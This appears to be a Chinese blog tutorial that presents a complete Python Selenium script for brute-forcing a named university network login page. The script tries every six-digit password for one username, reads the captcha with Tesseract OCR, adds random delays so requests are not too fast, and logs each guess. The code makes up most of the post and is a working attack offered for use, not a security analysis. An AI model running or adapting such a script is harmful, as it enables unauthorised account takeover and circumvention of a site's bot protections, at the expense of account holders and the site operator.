python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python网络编程学习笔记(二):socket建立网络客户端
Jun 09 Python
Python读取英文文件并记录每个单词出现次数后降序输出示例
Jun 28 Python
Python实现判断一个整数是否为回文数算法示例
Mar 02 Python
Python进程间通信Queue消息队列用法分析
May 22 Python
Python利用sqlacodegen自动生成ORM实体类示例
Jun 04 Python
python使用celery实现异步任务执行的例子
Aug 28 Python
Python实现图片批量加入水印代码实例
Nov 30 Python
基于Django OneToOneField和ForeignKey的区别详解
Mar 30 Python
详解Python中Pyyaml模块的使用
Oct 08 Python
基于Python的图像阈值化分割(迭代法)
Nov 20 Python
如何用 Python 制作一个迷宫游戏
Feb 25 Python
PyQt5 显示超清高分辨率图片的方法
Apr 11 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
15种PHP Encoder的比较
2007/04/17 PHP
PHP 开源框架22个简单简介
2009/08/24 PHP
php比较两个字符串长度的方法
2015/07/13 PHP
ThinkPHP实现递归无级分类――代码少
2015/07/29 PHP
PHP合并discuz用户脚本的方法
2015/08/04 PHP
Joomla简单判断用户是否登录的方法
2016/05/04 PHP
PHP7 其他语言层面的修改
2021/03/09 PHP
JavaScript 错误处理与调试经验总结
2010/08/10 Javascript
javascript中使用css需要注意的地方小结
2010/09/01 Javascript
jQuery表单验证插件formValidator(改进版)
2012/02/03 Javascript
jQuery使用数组编写图片无缝向左滚动
2012/12/11 Javascript
JQUERY 实现窗口滚动搜索框停靠效果(类似滚动停靠)
2013/03/27 Javascript
用JS实现3D球状标签云示例代码
2013/12/01 Javascript
JS判断字符串字节数并截取长度的方法
2016/03/05 Javascript
微信小程序Redux绑定实例详解
2017/06/07 Javascript
vue.js前后端数据交互之提交数据操作详解
2018/04/24 Javascript
JS中的JSON对象的定义和取值实现代码
2018/05/09 Javascript
node跨域转发 express+http-proxy-middleware的使用
2018/05/31 Javascript
Vue 组件参数校验与非props特性的方法
2019/02/12 Javascript
[03:24]CDEC.Y赛前采访 努力备战2016国际邀请赛中国区预选赛
2016/06/25 DOTA
使用Python对Excel进行读写操作
2017/03/30 Python
Python cookbook(数据结构与算法)筛选及提取序列中元素的方法
2018/03/19 Python
python list删除元素时要注意的坑点分享
2018/04/18 Python
python 创建一个空dataframe 然后添加行数据的实例
2018/06/07 Python
Python玩转Excel的读写改实例
2019/02/22 Python
Python实现aes加密解密多种方法解析
2020/05/15 Python
keras中epoch,batch,loss,val_loss用法说明
2020/07/02 Python
利用CSS3的定位页面元素
2009/08/29 HTML / CSS
Puritan’s Pride(普丽普莱)官方网站:美国最大最全的保健品公司之一
2016/10/23 全球购物
SKECHERS官方旗舰店:美国舒适运动休闲品牌
2017/12/22 全球购物
英语自荐信常用语句
2013/12/13 职场文书
优秀电子工程系毕业生求职信
2014/05/24 职场文书
学校清明节活动总结
2014/07/04 职场文书
代办委托书怎么写
2014/08/01 职场文书
就业推荐表自我评价范文
2015/03/02 职场文书
国庆阅兵观后感
2015/06/15 职场文书